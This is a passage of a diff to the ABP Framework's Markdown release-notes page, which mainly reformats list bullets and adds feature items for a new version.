-* [Identity PRO Module](../modules/identity-pro.md): Password History Support
-* [Account PRO Module](../modules/account-pro.md): Introducing WebAuthn Passkeys
+- Resource-Based Authorization
+- Introducing the [TickerQ Background Worker Provider](../framework/infrastructure/background-workers/tickerq.md)
+- Angular UI: Version Upgrade to **v21**
+- [File Management Module](../modules/file-management.md): Public File Sharing Support
+- [Payment Module](../modules/payment.md): Public Page Implementation for Blazor & Angular UIs
+- [AI Management Module](../modules/ai-management/index.md) for Blazor & Angular UIs
+- [Identity PRO Module](../modules/identity-pro.md): Password History Support
+- [Account PRO Module](../modules/account-pro.md): Introducing WebAuthn Passkeys
## 10.0 (2025-11-18)
@@ -65,45 +65,45 @@ See the detailed **[blog post / announcement](https://abp.io/community/announcem
See the detailed **[blog post / announcement](https://abp.io/community/announcements/abp.io-platform-10.0-final-has-been-released-spknn925)** for the v10.0 release.
-* Upgraded to .NET 10.0
-* Upgraded to `Blazorise` **v1.8.6**
-* New PRO Module: [Elsa Workflows](../modules/elsa-pro.md)
-* New Object Mapper: **Mapperly**
-* Localization: Nested Object Support in JSON Files
-* EF Core Shared Entity Types on Repositories
-* Angular SSR Support
+- Upgraded to .NET 10.0
+- Upgraded to `Blazorise` **v1.8.6**
+- New PRO Module: [Elsa Workflows](../modules/elsa-pro.md)
+- New Object Mapper: **Mapperly**
+- Localization: Nested Object Support in JSON Files
+- EF Core Shared Entity Types on Repositories
+- Angular SSR Support
## 9.3 (2025-06-17)
See the detailed **[blog post / announcement](https://abp.io/community/announcements/announcing-abp-9-3-stable-release-fw4n9sng)** for the v9.3 release.
-* Cron Expression Support for Background Workers
-* Docs Module: PDF Export
-* Angular UI: Standalone Package Structure
-* Upgraded to `Blazorise` **v1.7.7**
-* Audit Logging Module: Excel Export
-* Angular UI: Version Upgrade to **v20**
+- Cron Expression Support for Background Workers
+- Docs Module: PDF Export
+- Angular UI: Standalone Package Structure
+- Upgraded to `Blazorise` **v1.7.7**
+- Audit Logging Module: Excel Export
+- Angular UI: Version Upgrade to **v20**
## 9.2 (2025-06-02)
See the detailed **[blog post / announcement](https://abp.io/community/articles/announcing-abp-9-2-stable-release-061qmtzb)** for the v9.2 release.
-* Added `ApplicationName` Property to Isolate Background Jobs & Background Workers
-* Docs Module: Added "Alternative Words" to Filter Items
-* Introducing the [Bunny BLOB Storage Provider](../framework/infrastructure/blob-storing/bunny.md)
-* Upgraded `MongoDB.Driver` to **v3.1.0**
-* Identity Pro Module: Require Email Verification to Register
-* Switching users during OAuth login
+- Added `ApplicationName` Property to Isolate Background Jobs & Background Workers
+- Docs Module: Added "Alternative Words" to Filter Items
+- Introducing the [Bunny BLOB Storage Provider](../framework/infrastructure/blob-storing/bunny.md)
+- Upgraded `MongoDB.Driver` to **v3.1.0**
+- Identity Pro Module: Require Email Verification to Register
+- Switching users during OAuth login
## 9.1 (2025-03-05)
See the detailed **[blog post / announcement](https://abp.io/community/articles/abp.io-platform-9.1-final-has-been-released-h96a56qa)** for the v9.1 release.
-* Upgraded to Angular 19
-* Upgraded to OpenIddict 6.0
-* New Blazor WASM Bundling System
-* Idle Session Warning
-* Lazy Expandable Feature for Documentation System
+- Upgraded to Angular 19
+- Upgraded to OpenIddict 6.0
+- New Blazor WASM Bundling System
+- Idle Session Warning
+- Lazy Expandable Feature for Documentation System
## 9.0 (2024-11-19)
@@ -111,341 +111,342 @@ See the detailed **[blog post / announcement](https://abp.io/blog/abp-9-0-stable
> **Note**: ABP has upgraded to .NET 9.0, so if you plan to use ABP 9.0, you’ll need to migrate your solutions to .NET 9.0. You can refer to the [Migrate from ASP.NET Core 8.0 to 9.0](https://learn.microsoft.com/en-us/aspnet/core/migration/80-90) documentation for guidance. However, ABP’s NuGet packages are compatible with both .NET 8 and .NET 9, allowing developers to continue using .NET 8 while still enjoying the latest features and improvements of the ABP Framework without upgrading their SDK.
-* Upgraded to .NET 9.0
-* Introducing the `Extension Property Policy`
-* Google Cloud Storage BLOB Provider
-* Removed React Native mobile option from free templates
-* ABP Suite: Better naming for multiple navigation properties to the same entity
-* CMS Kit Pro: Feedback feature improvements
+- Upgraded to .NET 9.0
+- Introducing the `Extension Property Policy`
+- Google Cloud Storage BLOB Provider
+- Removed React Native mobile option from free templates
+- ABP Suite: Better naming for multiple navigation properties to the same entity
+- CMS Kit Pro: Feedback feature improvements
## 8.3 (2024-09-05)
See the detailed **[blog post / announcement](https://abp.io/blog/announcing-abp-8-3-stable-release)** for the v8.3 release.
-* CMS Kit: Marked Items & Approvement System for Commenting Feature
-* Enhancements on the Docs Module (Google Translation support & new single project mode)
-* Using DbFunction for generating more precise SQL commands for Global Query Filters
-* CMS Kit (Pro): FAQ System
+- CMS Kit: Marked Items & Approvement System for Commenting Feature
+- Enhancements on the Docs Module (Google Translation support & new single project mode)
+- Using DbFunction for generating more precise SQL commands for Global Query Filters
+- CMS Kit (Pro): FAQ System
## 8.2 (2024-06-26)
See the detailed **[blog post / announcement](https://abp.io/blog/announcing-abp-8-2-stable-release)** for the v8.2 release.
-* Blazor Full-Stack Web App UI.
-* Introducing the `IBlockUiService` for Blazor UI (disables/blocks the page or a part of the page).
-* Session Management (prevent concurrent login, view & manage users' sessions).
-* ABP Suite: File/Image property.
-* ABP Suite: `DateOnly` & `TimeOnly` types.
-* Periodic Log Deletion for Audit Logs.
+- Blazor Full-Stack Web App UI.
+- Introducing the `IBlockUiService` for Blazor UI (disables/blocks the page or a part of the page).
+- Session Management (prevent concurrent login, view & manage users' sessions).
+- ABP Suite: File/Image property.
+- ABP Suite: `DateOnly` & `TimeOnly` types.
+- Periodic Log Deletion for Audit Logs.
## 8.1 (2024-04-04)
See the detailed **[blog post / announcement](https://abp.io/blog/announcing-abp-8-1-stable-release)** for the v8.1 release.
-* Introducing the `ExposeKeyedServiceAttribute` & `DisableAbpFeaturesAttribute`.
-* Custom menu component support for MVC UI.
-* ABP Suite: Bulk delete.
-* ABP Suite: Filterable properties.
-* ABP Suite: Customizable page titles.
-* ABP Suite: Establishing relationships with installed ABP modules' entities.
-* ABP Suite: Support `BasicAggregateRoot` base class.
-* ABP Studio v0.6.5.
+- Introducing the `ExposeKeyedServiceAttribute` & `DisableAbpFeaturesAttribute`.
+- Custom menu component support for MVC UI.
+- ABP Suite: Bulk delete.
+- ABP Suite: Filterable properties.
+- ABP Suite: Customizable page titles.
+- ABP Suite: Establishing relationships with installed ABP modules' entities.
+- ABP Suite: Support `BasicAggregateRoot` base class.
+- ABP Studio v0.6.5.
## 8.0 (2023-12-19)
See the detailed **[blog post / announcement](https://abp.io/blog/abp-8-0-stable-release-with-dotnet-8-0)** for the v8.0 release.
-* Upgraded to **.NET 8.0** & **Angular 17**.
-* Dynamic Claims (allows to get the latest user claims for the current user).
-* CDN support for Bundling & Minification System.
-* Read-only repositories
-* ABP Suite: Generating Master/Detail Relationship
-* Getting profile picture from social/external logins.
-* Switch Ocelot to YARP for the API Gateway for Microservice Solution Template.
-* Password complexity indicators for MVC & Blazor UIs.
-* Readonly view & export/import support for Identity/Users page.
+- Upgraded to **.NET 8.0** & **Angular 17**.
+- Dynamic Claims (allows to get the latest user claims for the current user).
+- CDN support for Bundling & Minification System.
+- Read-only repositories
+- ABP Suite: Generating Master/Detail Relationship
+- Getting profile picture from social/external logins.
+- Switch Ocelot to YARP for the API Gateway for Microservice Solution Template.
+- Password complexity indicators for MVC & Blazor UIs.
+- Readonly view & export/import support for Identity/Users page.
## 7.4 (2023-08-16)
See the detailed **[blog post / announcement](https://abp.io/blog/announcing-abp-7-4-stable-release)** for the v7.4 release.
-* Dynamic Setting Store (collects and gets all setting definitions from a single point).
-* Introducing the `AdditionalAssemblyAttribute`.
-* `CorrelationId` support on distributed events.
-* Database migration system for EF Core.
-* Preserving customizations on code re-generation with ABP Suite.
-* Support custom text-templates in distributed scenarios.
-* MAUI & React Native mobile applications are re-designed and revised for functionality.
-* A new CMS Kit feature to collect feedback from users about the site's contents.
+- Dynamic Setting Store (collects and gets all setting definitions from a single point).
+- Introducing the `AdditionalAssemblyAttribute`.
+- `CorrelationId` support on distributed events.
+- Database migration system for EF Core.
+- Preserving customizations on code re-generation with ABP Suite.
+- Support custom text-templates in distributed scenarios.
+- MAUI & React Native mobile applications are re-designed and revised for functionality.
+- A new CMS Kit feature to collect feedback from users about the site's contents.
## 7.3 (2023-06-12)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-7-3-Final-Has-Been-Released)** for the v7.3 release.
-* Introducing the `Volo.Abp.Imaging` packages, which allows you to compress and resize images.
-* ABP CLI: `switch-to-local` command.
-* Monitoring distributed events.
-* Allow ordering of the local event handlers.
-* [Account Module](../modules/account.md): Using Authenticator App for Two-Factor Authentication.
-* Support for the [Module Entity Extensions](../framework/architecture/modularity/extending/module-entity-extensions.md) in the [CMS Kit Pro Module](../modules/cms-kit/index.md).
-* New Account Layout Design for [LeptonX Theme](../ui-themes/lepton-x/index.md).
-* Many enhancements and fixes for the 7.3 version.
+- Introducing the `Volo.Abp.Imaging` packages, which allows you to compress and resize images.
+- ABP CLI: `switch-to-local` command.
+- Monitoring distributed events.
+- Allow ordering of the local event handlers.
+- [Account Module](../modules/account.md): Using Authenticator App for Two-Factor Authentication.
+- Support for the [Module Entity Extensions](../framework/architecture/modularity/extending/module-entity-extensions.md) in the [CMS Kit Pro Module](../modules/cms-kit/index.md).
+- New Account Layout Design for [LeptonX Theme](../ui-themes/lepton-x/index.md).
+- Many enhancements and fixes for the 7.3 version.
## 7.2 (2023-05-03)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-7-2-Final-Has-Been-Released)** for the v7.2 release.
-* Grouping of the navigation menu items.
-* New Components for Angular UI.
-* **[LeptonX Theme](../ui-themes/lepton-x)** - Navigation Menu Item Grouping.
-* Support for the **Authority Delegation** in the **[Account Module](../modules/account.md)**.
-* Forcing Password Change at Next Logon.
-* Periodic Password Changes / Password Aging.
-* ABP Suite: Show/Hide Properties on Create/Update/List Pages
-* **CMS Kit Comments**: Disallowing External URLs.
+- Grouping of the navigation menu items.
+- New Components for Angular UI.
+- **[LeptonX Theme](../ui-themes/lepton-x)** - Navigation Menu Item Grouping.
+- Support for the **Authority Delegation** in the **[Account Module](../modules/account.md)**.
+- Forcing Password Change at Next Logon.
+- Periodic Password Changes / Password Aging.
+- ABP Suite: Show/Hide Properties on Create/Update/List Pages
+- **CMS Kit Comments**: Disallowing External URLs.
## 7.1 (2023-03-22)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-IO-Platform-7-1-Final-Has-Been-Released)** for the v7.1 release.
-* New Blazor WASM option for Application Single Layer Startup template.
-* Introducing the `IHasEntityVersion` & `EntitySynchronizer` services.
-* Introducing the `DeleteDirectAsync` method for the `IRepository` interface.
-* **Blazor WebAssembly** option for the single-layer startup template.
-* **ABP Suite** code generation for **MAUI Blazor Hybrid** solutions.
-* Allow to **impersonate** an arbitrary **user** in the SaaS module.
-* Many enhancements and fixes for the 7.1 version.
+- New Blazor WASM option for Application Single Layer Startup template.
+- Introducing the `IHasEntityVersion` & `EntitySynchronizer` services.
+- Introducing the `DeleteDirectAsync` method for the `IRepository` interface.
+- **Blazor WebAssembly** option for the single-layer startup template.
+- **ABP Suite** code generation for **MAUI Blazor Hybrid** solutions.
+- Allow to **impersonate** an arbitrary **user** in the SaaS module.
+- Many enhancements and fixes for the 7.1 version.
## 7.0 (2023-01-05)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-7.0-Final-Has-Been-Released)** for the v7.0 release.
-* Upgraded to **.NET 7.0**.
-* Upgraded to **OpenIddict 4.0**.
-* **Dapr** Integration.
-* Introducing the **Integration Services**.
-* New **MAUI Blazor Hybrid** UI.
-* Implemented **external localization**, **dynamic feature** and **dynamic permission** systems to allow more advanced microservice scenarios. All they are applied to the **microservice startup template**.
-* **WeChat** and **Alipay** integrations for the **Payment** module.
-* Allow host users to **change the password** of a user of a tenant.
-* Allow host users to **test connection string** of a tenant database on the UI.
-* Introduce **permission** for **searching other users** in the chat module.
+- Upgraded to **.NET 7.0**.
+- Upgraded to **OpenIddict 4.0**.
+- **Dapr** Integration.
+- Introducing the **Integration Services**.
+- New **MAUI Blazor Hybrid** UI.
+- Implemented **external localization**, **dynamic feature** and **dynamic permission** systems to allow more advanced microservice scenarios. All they are applied to the **microservice startup template**.
+- **WeChat** and **Alipay** integrations for the **Payment** module.
+- Allow host users to **change the password** of a user of a tenant.
+- Allow host users to **test connection string** of a tenant database on the UI.
+- Introduce **permission** for **searching other users** in the chat module.
## 6.0 (2022-10-05)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-6.0-Final-Has-Been-Released)** for the v6.0 release.
-* New **OpenIddict** integration module (replacing the IdentityServer integration module).
-* The **[LeptonX theme](https://x.leptontheme.com/)** is the default theme now, allowing to use the [old Lepton](https://leptontheme.com/) theme too.
-* New **.NET MAUI mobile application**.
-* **Blazor UI** for the **Chat** module.
-* **Blazor admin UI** for the **CMS Kit** module.
-* Allow to add **poll widgets** in blog/page contents in the **CMS Kit** module.
-* **Cookie consent** feature for the **GDPR** module.
-* Optional **PWA** support.
-* Exporting to **excel** for **ABP Suite** code generation.
+- New **OpenIddict** integration module (replacing the IdentityServer integration module).
+- The **[LeptonX theme](https://x.leptontheme.com/)** is the default theme now, allowing to use the [old Lepton](https://leptontheme.com/) theme too.
+- New **.NET MAUI mobile application**.
+- **Blazor UI** for the **Chat** module.
+- **Blazor admin UI** for the **CMS Kit** module.
+- Allow to add **poll widgets** in blog/page contents in the **CMS Kit** module.
+- **Cookie consent** feature for the **GDPR** module.
+- Optional **PWA** support.
+- Exporting to **excel** for **ABP Suite** code generation.
## 5.3 (2022-06-14)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-5.3-Final-Has-Been-Released)** for the v5.3 release.
-* New module: **GDPR** (currently, allows to download/delete user's personal data).
-* **Polling** feature for the [CMS Kit module](../modules/cms-kit/index.md).
-* OAuth as **external login provider** for the [Identity module](../modules/identity.md).
-* **ABP Suite**: Support for the no-layers startup template, concurrency stamp support on code generation, downloading Suite logs, using ABP CLI to trigger code generation.
-* **Docker-compose** configuration for the no-layers startup template.
-* **PWA** support for Blazor WASM and Angular UI.
+- New module: **GDPR** (currently, allows to download/delete user's personal data).
+- **Polling** feature for the [CMS Kit module](../modules/cms-kit/index.md).
+- OAuth as **external login provider** for the [Identity module](../modules/identity.md).
+- **ABP Suite**: Support for the no-layers startup template, concurrency stamp support on code generation, downloading Suite logs, using ABP CLI to trigger code generation.
+- **Docker-compose** configuration for the no-layers startup template.
+- **PWA** support for Blazor WASM and Angular UI.
## 5.2 (2022-04-05)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-IO-Platform-5-2-Final-Has-Been-Released)** for the v5.2 release.
-* Code generation with **many to many relation** support for the [ABP Suite](../suite/index.md).
-* The new **single-layer**, simpler startup solution template.
-* Migrated to **Blazorise 1.0** for the Blazor UI.
-* Improvements on the microservice startup solution, pre-built application modules and other existing features.
-* API Versioning.
-* Allowing to hide default ABP endpoints from the Swagger UI.
+- Code generation with **many to many relation** support for the [ABP Suite](../suite/index.md).
+- The new **single-layer**, simpler startup solution template.
+- Migrated to **Blazorise 1.0** for the Blazor UI.
+- Improvements on the microservice startup solution, pre-built application modules and other existing features.
+- API Versioning.
+- Allowing to hide default ABP endpoints from the Swagger UI.
## 5.1 (2022-01-12)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-v5-1-Has-Been-Released)** for the v5.1 release.
-* Upgraded to **Angular 13**.
-* Changed the application startup solution to use the new ASP.NET Core **minimal hosting model**.
-* New **URL Forwarding** feature for the CKS Kit Pro module.
-* Improvements and fixes for the features shipped with the 5.0 release.
+- Upgraded to **Angular 13**.
+- Changed the application startup solution to use the new ASP.NET Core **minimal hosting model**.
+- New **URL Forwarding** feature for the CKS Kit Pro module.
+- Improvements and fixes for the features shipped with the 5.0 release.
## 5.0 (2021-12-14)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-IO-Platform-5.0-RC-1-Has-Been-Released)** for the v5.0.
-* Upgraded to **.NET 6.0**.
-* Upgraded to **Bootstrap 5.1**.
-* Transactional Outbox & Inbox for the distributed event bus.
-* **User impersonation** (passwordless login with another user's account).
-* **Tenant impersonation** (passwordless login as a tenant).
-* Added **Helm charts** to the microservice startup template to deploy to **Kubernetes**.
-* Added host and tenant **dashboards** to the microservice startup template.
-* **Generate entities** and CRUD pages from **database tables** with ABP Suite.
-* Pre-configured **social logins** for the microservice startup template.
-* Switched to **static C# and JavaScript proxies** for all the modules.
-* **Removed NGXS** and states from the Angular UI.
-* Many improvements on existing modules and ABP Suite.
+- Upgraded to **.NET 6.0**.
+- Upgraded to **Bootstrap 5.1**.
+- Transactional Outbox & Inbox for the distributed event bus.
+- **User impersonation** (passwordless login with another user's account).
+- **Tenant impersonation** (passwordless login as a tenant).
+- Added **Helm charts** to the microservice startup template to deploy to **Kubernetes**.
+- Added host and tenant **dashboards** to the microservice startup template.
+- **Generate entities** and CRUD pages from **database tables** with ABP Suite.
+- Pre-configured **social logins** for the microservice startup template.
+- Switched to **static C# and JavaScript proxies** for all the modules.
+- **Removed NGXS** and states from the Angular UI.
+- Many improvements on existing modules and ABP Suite.
## 4.4 (2021-08-02)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-4.4-Final-Has-Been-Released!)** for the v4.4.
-* Removed the `EntityFrameworkCore.DbMigrations` project for simplicity.
-* Dynamic menu management for the [CMS Kit module](../modules/cms-kit/index.md).
-* New ABP CLI commands (`install-libs`, `prompt` and `batch`).
-* **Subscription** system & **payment** integration for the [SaaS module](../modules/saas.md).
-* SaaS module: Allow to make a **tenant active/passive** and **limit user count**.
-* [ABP Suite](../suite/index.md) **code generation** for the [microservice solution](../solution-templates/microservice/index.md).
-* Allow to set **multiple connection strings** for each tenant, to separate a tenant's database per module/microservice.
-* Angular UI: **Two-factor** authentication for resource owner password flow.
-* **New localizations**: Hindi, Italian, Arabic, Finnish, French.
-* A lot of small improvements and fixes for the current modules, themes and the tooling.
+- Removed the `EntityFrameworkCore.DbMigrations` project for simplicity.
+- Dynamic menu management for the [CMS Kit module](../modules/cms-kit/index.md).
+- New ABP CLI commands (`install-libs`, `prompt` and `batch`).
+- **Subscription** system & **payment** integration for the [SaaS module](../modules/saas.md).
+- SaaS module: Allow to make a **tenant active/passive** and **limit user count**.
+- [ABP Suite](../suite/index.md) **code generation** for the [microservice solution](../solution-templates/microservice/index.md).
+- Allow to set **multiple connection strings** for each tenant, to separate a tenant's database per module/microservice.
+- Angular UI: **Two-factor** authentication for resource owner password flow.
+- **New localizations**: Hindi, Italian, Arabic, Finnish, French.
+- A lot of small improvements and fixes for the current modules, themes and the tooling.
## 4.3 (2021-04-23)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-v4-3-Has-Been-Released)** for the v4.3.
-* New module: **CMS Kit (pro)**
-* New module: **Forms**
-* **Blazor Server Side** support.
-* **Extensibility** system for the Blazor UI.
-* A lot of improvements done to ripen the **Microservice Startup Template**, including "new service" template, automatic database migrations, solution structure improvements, Tye, Prometheus, Grafana integrations, and more...
-* Allow to use a **separate database schema** for tenants to not include host-related empty tables in tenant databases.
-* Creating & **migrating tenant databases on the fly**.
-* **Enabling/disabling modules** per edition/tenant.
-* **Email settings** page.
-* **Required** navigation properties on Suite code generation.
+- New module: **CMS Kit (pro)**
+- New module: **Forms**
+- **Blazor Server Side** support.
+- **Extensibility** system for the Blazor UI.
+- A lot of improvements done to ripen the **Microservice Startup Template**, including "new service" template, automatic database migrations, solution structure improvements, Tye, Prometheus, Grafana integrations, and more...
+- Allow to use a **separate database schema** for tenants to not include host-related empty tables in tenant databases.
+- Creating & **migrating tenant databases on the fly**.
+- **Enabling/disabling modules** per edition/tenant.
+- **Email settings** page.
+- **Required** navigation properties on Suite code generation.
## 4.2 (2021-01-28)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-4-2-Final-Has-Been-Released)** for the v4.2.
-* Introducing the `IRepository.GetQueryableAsync()` method.
-* Bulk operations for EF Core (`InsertManyAsync`, `UpdateManyAsync` and `DeleteManyAsync`).
-* **Microservice startup template** (initial) to create microservice solutions.
-* **Public website** application in the application startup template.
-* **Blazor UI** for the Easy CRM sample application.
-* Added login / **authorization** to the **Swagger UI** to test authorized APIs.
-* **DBMS selection** on new application creation.
-* Infrastructure for **Angular Unit Testing**.
-* Iyzico integration for the **Payment** module.
-* **Performance** optimization and other enhancements.
+- Introducing the `IRepository.GetQueryableAsync()` method.
+- Bulk operations for EF Core (`InsertManyAsync`, `UpdateManyAsync` and `DeleteManyAsync`).
+- **Microservice startup template** (initial) to create microservice solutions.
+- **Public website** application in the application startup template.
+- **Blazor UI** for the Easy CRM sample application.
+- Added login / **authorization** to the **Swagger UI** to test authorized APIs.
+- **DBMS selection** on new application creation.
+- Infrastructure for **Angular Unit Testing**.
+- Iyzico integration for the **Payment** module.
+- **Performance** optimization and other enhancements.
## 4.1 (2021-01-06)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-IO-Platform-v4-1-Final-Has-Been-Released)** for the v4.1.
-* Introducing the **module entity extensions** system.
-* Bundling & Minification System for Blazor UI.
-* **Organization Unit** Management for the Blazor UI.
-* **Identity Server** Management for the Blazor UI.
-* ABP Suite: **Navigation Property Selection** with Typeahead (supported by all UI types).
-* **Spanish** language translation.
+- Introducing the **module entity extensions** system.
+- Bundling & Minification System for Blazor UI.
+- **Organization Unit** Management for the Blazor UI.
+- **Identity Server** Management for the Blazor UI.
+- ABP Suite: **Navigation Property Selection** with Typeahead (supported by all UI types).
+- **Spanish** language translation.
## 4.0 (2020-12-03)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP.IO-Platform-4.0-with-.NET-5.0-in-the-4th-Year)** for the v4.0.
-* Upgraded to **.NET 5.0**.
-* The **Blazor UI** option is now stable and officially supported.
-* Completed the Blazor UI for the **file management** module.
-* Upgraded to the **Identity Server 4.1.1** and revised the management UI.
-* ABP Suite: Blazor UI **code generation**.
-* ABP Suite: **Navigation property selection** supports dropdowns with auto-complete & lazy load.
-* ABP Suite: **Generate new modules** inside an application solution.
-* ABP Suite: Made the **backend code generation optional** to allow re-generate the UI with a different UI framework.
+- Upgraded to **.NET 5.0**.
+- The **Blazor UI** option is now stable and officially supported.
+- Completed the Blazor UI for the **file management** module.
+- Upgraded to the **Identity Server 4.1.1** and revised the management UI.
+- ABP Suite: Blazor UI **code generation**.
+- ABP Suite: **Navigation property selection** supports dropdowns with auto-complete & lazy load.
+- ABP Suite: **Generate new modules** inside an application solution.
+- ABP Suite: Made the **backend code generation optional** to allow re-generate the UI with a different UI framework.
## 3.3 (2020-10-27)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-Framework-ABP-Commercial-3.3-Final-Have-Been-Released)** for the v3.3.
-* Completed fundamental features, modules and the theme integration for the **Blazor UI**.
-* Automatic **AntiForgery Token Validation** for HTTP APIs.
-* New async LINQ extension methods for repositories.
-* Stream support for the [Application Service](../framework/architecture/domain-driven-design/application-services.md) methods.
-* Multi-Tenant **social/external logins** with options configurable on runtime.
-* **Linked Accounts** system to link multiple accounts and switch between them easily.
-* **Paypal** & **Stripe** integrations for the Payment Module.
-* **reCAPTCHA** option for login & register forms.
-* **ABP Suite** improvements.
+- Completed fundamental features, modules and the theme integration for the **Blazor UI**.
+- Automatic **AntiForgery Token Validation** for HTTP APIs.
+- New async LINQ extension methods for repositories.
+- Stream support for the [Application Service](../framework/architecture/domain-driven-design/application-services.md) methods.
+- Multi-Tenant **social/external logins** with options configurable on runtime.
+- **Linked Accounts** system to link multiple accounts and switch between them easily.
+- **Paypal** & **Stripe** integrations for the Payment Module.
+- **reCAPTCHA** option for login & register forms.
+- **ABP Suite** improvements.
## 3.2 (2020-10-01)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-Framework-ABP-Commercial-3.2-RC-With-The-New-Blazor-UI)** for the v3.2.
-* Released the preview (experimental) **Blazor UI** option.
-* **Angular** UI for the [file management](https://abp.io/modules/Volo.FileManagement) module.
-* Managing the **application features** for the **host** side.
-* User **profile picture** for the account module.
-* Options to enable, disable or force **two factor authentication** for tenants and users.
+- Released the preview (experimental) **Blazor UI** option.
+- **Angular** UI for the [file management](https://abp.io/modules/Volo.FileManagement) module.
+- Managing the **application features** for the **host** side.
+- User **profile picture** for the account module.
+- Options to enable, disable or force **two factor authentication** for tenants and users.
## 3.1 (2020-09-03)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-Framework-v3.1-Final-Has-Been-Released)** for the v3.1 release.
-* Completely re-written the ABP Suite **Angular UI code generation**, using the Angular Schematics system.
-* Implemented **Authorization Code Authentication Flow** for the Angular UI.
-* Revised and documented **social/external logins** for the account module and tested with major providers.
-* Introduced the new external login system supporting to login via **LDAP / Active Directory**. Also, added a setting page to configure the LDAP options.
-* Created a new **security log system** and the user interface to save and report all the authentication related operations (login, logout, change password...) for users.
-* Implemented **email & phone number verification**.
-* Implementing **locking a user** for a given period of time (locked users can not login to the application).
-* Added breadcrumb and file icons for the file management module.
+- Completely re-written the ABP Suite **Angular UI code generation**, using the Angular Schematics system.
+- Implemented **Authorization Code Authentication Flow** for the Angular UI.
+- Revised and documented **social/external logins** for the account module and tested with major providers.
+- Introduced the new external login system supporting to login via **LDAP / Active Directory**. Also, added a setting page to configure the LDAP options.
+- Created a new **security log system** and the user interface to save and report all the authentication related operations (login, logout, change password...) for users.
+- Implemented **email & phone number verification**.
+- Implementing **locking a user** for a given period of time (locked users can not login to the application).
+- Added breadcrumb and file icons for the file management module.
## 3.0 (2020-07-01)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-Framework-v3.0-Has-Been-Released)** for the v3.0 release.
-* Introducing the **Azure BLOB Storage Provider**.
-* Created the Oracle Integration Package for EF Core.
-* New **File Management Module** that is used to store and manage files in your application.
-* Migrated the Angular UI to the **Angular 10**.
-* Published an **[API documentation](https://docs.abp.io/api-docs/commercial/2.9/api/index.html)** web site to explore the classes of the ABP.
+- Introducing the **Azure BLOB Storage Provider**.
+- Created the Oracle Integration Package for EF Core.
+- New **File Management Module** that is used to store and manage files in your application.
+- Migrated the Angular UI to the **Angular 10**.
+- Published an **[API documentation](https://docs.abp.io/api-docs/commercial/2.9/api/index.html)** web site to explore the classes of the ABP.
## 2.9 (2020-06-04)
See the detailed **[blog post / announcement](https://abp.io/blog/ABP-Framework-v2.9.0-Has-Been-Released)** for the v2.9 release.
-* Performance improvements (pre-compiling razor pages).
-* New **Organization Unit** Management UI for the [Identity Module](https://abp.io/modules/Volo.Identity.Pro) to create hierarchical organization units and manage their members and roles.
-* Created **Angular UI** for the [Chat Module](https://abp.io/modules/Volo.Chat).
-* Implemented **Angular UI** for the [Easy CRM](../samples/easy-crm.md) application.
-* [ABP Suite](https://abp.io/tools/suite) code generation support for **module development**.
-* New [leptontheme.com](http://leptontheme.com/) web site to show the **[Lepton Theme](https://abp.io/themes) components**.
+- Performance improvements (pre-compiling razor pages).
+- New **Organization Unit** Management UI for the [Identity Module](https://abp.io/modules/Volo.Identity.Pro) to create hierarchical organization units and manage their members and roles.
+- Created **Angular UI** for the [Chat Module](https://abp.io/modules/Volo.Chat).
+- Implemented **Angular UI** for the [Easy CRM](../samples/easy-crm.md) application.
+- [ABP Suite](https://abp.io/tools/suite) code generation support for **module development**.
+- New [leptontheme.com](http://leptontheme.com/) web site to show the **[Lepton Theme](https://abp.io/themes) components**.
## 2.8 (2020-05-21)
See the detailed **blog post / announcement** for the v2.8 release: [https://abp.io/blog/ABP-v2.8.0-Releases-%26-Road-Map](https://abp.io/blog/ABP-v2.8.0-Releases-%26-Road-Map)
-* RTL support for the MVC UI & Arabic localization.
-* Completely renewed the **[Lepton Theme](https://abp.io/themes) styles** and add a new one.
-* New module: Created a **real time [Chat Module](https://abp.io/modules/Volo.Chat)** that is built on ASP.NET Core SignalR. It currently has only the MVC / Razor Pages UI. Angular UI is on the way.
-* Implemented **[module entity extension](../framework/architecture/modularity/extending/module-entity-extensions.md) system** for the **Angular UI**. Also improved the system to better handle float/double/decimal, date, datetime, enum and boolean properties.
-* **Gravatar** integration for the Angular UI.
-* Managing product groups on a **tree view** for the [EasyCRM sample application](../samples/easy-crm.md).
+- RTL support for the MVC UI & Arabic localization.
+- Completely renewed the **[Lepton Theme](https://abp.io/themes) styles** and add a new one.
+- New module: Created a **real time [Chat Module](https://abp.io/modules/Volo.Chat)** that is built on ASP.NET Core SignalR. It currently has only the MVC / Razor Pages UI. Angular UI is on the way.
+- Implemented **[module entity extension](../framework/architecture/modularity/extending/module-entity-extensions.md) system** for the **Angular UI**. Also improved the system to better handle float/double/decimal, date, datetime, enum and boolean properties.
+- **Gravatar** integration for the Angular UI.
+- Managing product groups on a **tree view** for the [EasyCRM sample application](../samples/easy-crm.md).
## 2.7 (2020-05-07)
-See the detailed **blog post / announcement** for the v2.7 release: https://abp.io/blog/ABP-Framework-v2_7_0-Has-Been-Released
+See the detailed **blog post / announcement** for the v2.7 release: [https://abp.io/blog/ABP-Framework-v2_7_0-Has-Been-Released](https://abp.io/blog/ABP-Framework-v2_7_0-Has-Been-Released)
-* New module: **Text template management** (with angular and mvc UI - document is [coming](../modules/text-template-management.md)).
-* **Dynamically add properties** to current entities of the depended modules (see [module entity extensions](../framework/architecture/modularity/extending/module-entity-extensions.md))
-* To be able to add **navigation properties** to entities with the ABP Suite (see [navigation properties](../suite/index.md) section).
